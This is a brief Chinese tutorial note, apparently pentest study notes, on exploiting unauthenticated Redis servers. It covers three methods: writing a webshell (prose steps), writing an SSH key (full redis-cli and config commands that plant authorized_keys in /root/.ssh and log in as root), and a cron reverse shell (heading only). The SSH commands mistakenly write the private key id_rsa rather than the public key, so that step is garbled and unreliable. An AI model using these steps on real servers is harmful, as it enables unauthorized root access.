Redis未授权

Redis未授权有三种利用方式

redis-cli未授权连接

一、webshell写入

创建一个键值对

设置持久化机制的路径和文件

手动触发持久化机制

蚁剑成功连接

二、ssh公钥写入

ssh-keygen -t rsa //生成公钥和私钥
(echo -e "\n\n"; cat /home/qfbsz/.ssh/id_rsa; echo -e "\n\n") > key.txt  //保存为key.txt 防止轮嘛
cat key.txt| redis-cli -h 192.168.190.129 -x set putsshkey 以key.txt 为内容创建键值对
config set dir /root/.ssh //设置ssh的路径
config set dbfilename authorized_keys   //设置文件
save 触发持久化
ssh -i /root/.ssh/id_rsa root@192.168.190.129   //连接

生成公私钥

导出为key.txt

创建键值对，以key.txt的内容为值

用私钥文件直接连接ssh

三、定时任务机制反弹shell